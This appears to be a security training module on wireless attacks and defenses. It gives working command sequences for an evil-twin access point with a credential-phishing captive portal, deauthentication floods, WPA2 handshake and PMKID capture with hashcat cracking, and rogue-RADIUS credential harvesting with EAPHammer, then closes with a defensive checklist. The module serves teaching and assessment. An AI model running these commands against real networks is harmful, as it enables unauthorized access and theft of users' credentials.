Module 9 · Wireless — The Perimeter That Moves

Last updated: April 29, 2026

Wireless networks extend the perimeter beyond the cable. The perimeter used to be “physically at the office.” Now it’s “anywhere our Wi-Fi reaches.” Attackers with $40 of hardware can operate from the parking lot, the coffee shop next door, or a drone hovering above. This module covers why wireless attacks remain operationally relevant in 2026 — and what actually hardens the environment.

Why this happens

Wi-Fi’s design trade-off: discoverability for usability. Client devices constantly broadcast “looking for my home network,” “looking for my office network,” etc. Rogue access points imitate these networks. Client connects. Attacker is in the traffic path.

Additionally: WPA2-PSK (shared key) networks allow any attacker on the same network to intercept each other’s traffic after the 4-way handshake is captured. Enterprise networks (WPA2/3-Enterprise with 802.1X) are better but have their own misconfigurations.

Classic: Evil Twin + Captive Portal phishing

# Create rogue AP with same SSID as target network (or nearby legitimate network)
# Tool: Fluxion or airgeddon (menu-driven)

# Manual setup with hostapd + dnsmasq + iptables:
# 1. Start rogue AP
cat > /tmp/hostapd.conf << EOF
interface=wlan0
ssid=CorpGuest-WiFi
hw_mode=g
channel=6
ignore_broadcast_ssid=0
EOF
sudo hostapd /tmp/hostapd.conf &

# 2. DHCP + DNS for clients
sudo dnsmasq --interface=wlan0 --dhcp-range=10.0.0.10,10.0.0.100,12h \
    --address=/#/10.0.0.1  # Wildcard DNS → captive portal

# 3. Captive portal that phishes corp credentials
# User connects, sees "Corp login required" page, enters AD creds

# De-authentication of clients from legitimate AP to push them to rogue:
sudo aireplay-ng -0 0 -a LEGIT_BSSID wlan0mon

A skilled operator can set this up in 15 minutes. Users enter credentials into the phishing portal because it looks legitimate. The legitimate network was deauthed; only the rogue is reachable.

WPA2 handshake capture

# Put wireless card in monitor mode
sudo airmon-ng start wlan0

# Capture packets for target network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Force deauthentication → trigger fresh handshake
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack PSK offline (if WPA2-PSK)
hashcat -m 22000 capture.hc22000 rockyou.txt

# Modern alternative: PMKID attack (no client deauth needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 rockyou.txt

If the PSK is a common word or weak passphrase, it cracks in minutes on a single GPU. Long, random passphrases (20+ chars) remain resistant but are rarely used for shared Wi-Fi.

WPA3 and its limitations

WPA3 introduced Simultaneous Authentication of Equals (SAE / Dragonfly) — resistant to offline dictionary attack. Clients don’t give attackers material to crack offline. Major security win.

But WPA3 rollout is incomplete. Most consumer and business routers default to WPA2/WPA3 mixed mode (fallback to WPA2 for older clients). Dragonblood research (2019-2020) showed implementation flaws in early WPA3 deployments. Even now, many enterprise networks remain WPA2-Enterprise.

WPA2-Enterprise (802.1X) attacks

Enterprise Wi-Fi authenticates individual users against RADIUS (usually backed by AD). Done well, it’s strong. Done poorly:

# Rogue RADIUS attack via EAPHammer (or Apple's new freeradius-based tooling)
# 1. Set up rogue AP advertising enterprise SSID
# 2. Clients with weak cert validation send MS-CHAPv2 credentials
# 3. Capture + crack offline

eaphammer --server-cert rogue.pem --auth wpa-eap --essid CorpWiFi \
    -i wlan0 --creds

# Output: MS-CHAPv2 hashes of users who tried to connect
# Hashes are crackable offline via hashcat
# MS-CHAPv2 has known cryptographic weaknesses

# Defense: PEAP with strict cert validation — clients should refuse rogue certs
# But many Windows/Mac deployments use "don't validate server cert" config

Wireless recon tooling

# Passive survey — map networks + signal strength
sudo airodump-ng wlan0mon
# Shows: BSSID, ESSID, Channel, Encryption, Signal, Clients

# kismet (more comprehensive, logging, plugins)
sudo kismet

# wifite (automated attack workflow)
sudo wifite --kill
# Auto-deauths + captures handshakes + attempts crack

# WiGLE (global Wi-Fi database via wardriving)
# Feed coordinates + SSIDs to crowd-sourced map

# Modern hardware: Alfa AWUS036ACH or AWUS1900 for 2.4/5GHz monitoring
# Needed: external antenna + monitor-mode support + injection

Real-world wireless incidents

• KRACK (2017): Mathy Vanhoef’s research revealed WPA2 key reinstallation attack. Affected almost every WPA2 implementation. Patches required across every OS + router.
• Dragonblood (2019): Vanhoef again — WPA3 implementation flaws. Side-channel attacks on the dragonfly handshake. Patches released.
• Hotel Wi-Fi nation-state (Darkhotel, 2014 onwards): Sophisticated actor exploiting hotel Wi-Fi networks to target specific high-value guests. Rogue-AP, selective targeting via MAC address, encrypted payloads masquerading as software updates.
• Corporate Wi-Fi compromise: Consistently reported in red team retrospectives — mature organizations’ guest Wi-Fi is the most common external wireless entry point. Guest network often poorly segmented from corporate.
• War-driving discoveries: Project WiGLE documents hundreds of thousands of open and weak-PSK networks still operating in 2026.

What we find in wireless assessments

• WPA2 networks with weak or default PSKs
• Mixed WPA2/WPA3 mode (downgrade attack surface)
• Enterprise Wi-Fi with “don’t validate server cert” in client config
• MAC-address-based restrictions (trivially spoofable)
• Guest network on same VLAN as corporate (or poorly firewalled)
• WPS still enabled (PIN brute force)
• Hidden SSIDs as security measure (doesn’t help — clients probe for them)
• Rogue APs in office (employees bringing personal hotspots)
• IoT devices on corporate WPA2 (often weak MAC-based auth)
• Bluetooth services exposed (especially IoT — CVEs in BLE stacks)

Bluetooth Low Energy attack surface

BLE is everywhere: wearables, smart locks, medical devices, car keys. Attacks:

• Relay attacks on BLE car keys: 2022-2024 wave of Kia/Hyundai/Tesla/BMW BLE-based key theft via relay hardware costing ~$10K.
• Medical device BLE: Infusion pumps, pacemakers with unauthenticated commands.
• Fitness trackers: Privacy leaks, user profile extraction, sometimes account compromise.

Defenses that matter

1. WPA3-Enterprise where possible; WPA2-Enterprise with strict cert validation otherwise
2. Long random PSKs for WPA2-PSK networks (20+ chars); rotate quarterly
3. 802.1X everywhere — never rely on MAC-based access control
4. Guest network isolated — different VLAN, internet-only, no corporate reachability
5. WIDS/WIPS — monitor for rogue APs, deauth floods, unusual clients
6. VPN-required for any sensitive traffic on corporate Wi-Fi (compensating control)
7. Disable WPS
8. Client-side cert validation for enterprise Wi-Fi — never “don’t validate”
9. Bluetooth policy — disable where not required; pair in secure modes
10. Spectrum monitoring in high-security environments

Mindset takeaway

Wireless extends your network past the walls. Every access point is a door to the outside. Unlike ethernet, where physical access is required, wireless gives attackers physical presence at the edge for $40 in hardware. The mitigations are known — WPA3, strict cert validation, network segmentation, WIPS. Deployment discipline is the differentiator between “secure” and “compromised.”

For pentesters: wireless assessment is a specialty. Dedicated hardware (Alfa cards, maybe Pineapple or similar), monitoring software (Kismet, airodump), cracking infrastructure (GPU cluster or cloud). An afternoon of on-site recon often produces the richest findings of a full engagement.

For defenders: walk your building with airodump. You’ll find things. Every IoT device employees have brought in. Every forgotten access point from a contractor’s installation. The gap between “documented wireless inventory” and “actual RF inventory” is usually substantial and always reducible.